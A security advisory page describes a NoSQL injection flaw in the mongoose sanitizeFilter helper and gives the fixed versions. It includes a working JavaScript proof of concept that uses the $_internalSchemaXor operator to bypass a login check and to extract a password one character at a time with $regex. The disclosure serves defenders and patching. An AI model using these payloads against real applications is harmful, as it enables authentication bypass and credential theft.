Improper Neutralization of Special Elements in Data Query Logic Affecting mongoose package, versions <6.13.13>=7.0.0 <7.8.14>=8.0.0 <8.24.10>=9.0.0 <9.12.2


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.84% (59th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Improper Neutralization of Special Elements in Data Query Logic vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-MONGOOSE-23745974
  • published4 Dec 2026
  • disclosed4 Dec 2026
  • creditUnknown

Introduced: 4 Dec 2026

NewCVE-2026-142595  (opens in a new tab)
CWE-943  (opens in a new tab)

How to fix?

Upgrade mongoose to version 6.13.13, 7.8.14, 8.24.10, 9.12.2 or higher.

Overview

mongoose is a Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.

Affected versions of this package are vulnerable to Improper Neutralization of Special Elements in Data Query Logic via sanitizeFilter in lib/helpers/query/sanitizeFilter.js, which only blocked four specific top-level operators ($jsonSchema, $where, $expr, $text) and recursed into $and, $or, and $nor, but left all other top-level $-prefixed keys unchecked. An attacker who controls the keys of a query filter can supply undocumented MongoDB internal operators such as $_internalSchemaXor or $_internalSchemaCond, which accept nested sub-filters that sanitizeFilter never inspects, allowing arbitrary query selectors like $ne or $regex to be injected. This enables authentication bypass by matching records without knowing a field value, and data extraction by using $regex as a boolean oracle to recover field values one character at a time.

Note: This is only exploitable when the sanitizeFilter option is enabled and the application passes user-controlled filter keys directly to a query (e.g. Model.find(req.body)).

PoC

const User = mongoose.model('User', new mongoose.Schema({ username: String, password: String }));
await User.create({ username: 'admin', password: 'hunter2' });

// Attacker controls the filter, e.g. `User.findOne(req.body)`
const login = filter => User.findOne(filter).setOptions({ sanitizeFilter: true });

// Blocked as expected: `$ne` is wrapped in `$eq`, so no match
await login({ username: 'admin', password: { $ne: null } }); // null

// Bypass: login without the password
await login({
  username: 'admin',
  $_internalSchemaXor: [{ password: { $ne: null } }, { $alwaysFalse: 1 }]
}); // { username: 'admin', password: 'hunter2', ... }

// Bypass: extract the password one character at a time
await login({
  username: 'admin',
  $_internalSchemaXor: [{ password: { $regex: '^h' } }, { $alwaysFalse: 1 }]
}); // matches, so password starts with 'h'

Tested against MongoDB 9.0.2. $_internalSchemaCond works the same way, and both operators also work inside $and/$or/$nor.

Note: Tested against MongoDB 9.0.2 with sanitizeFilter enabled via setOptions.

CVSS Base Scores

version 4.0
version 3.1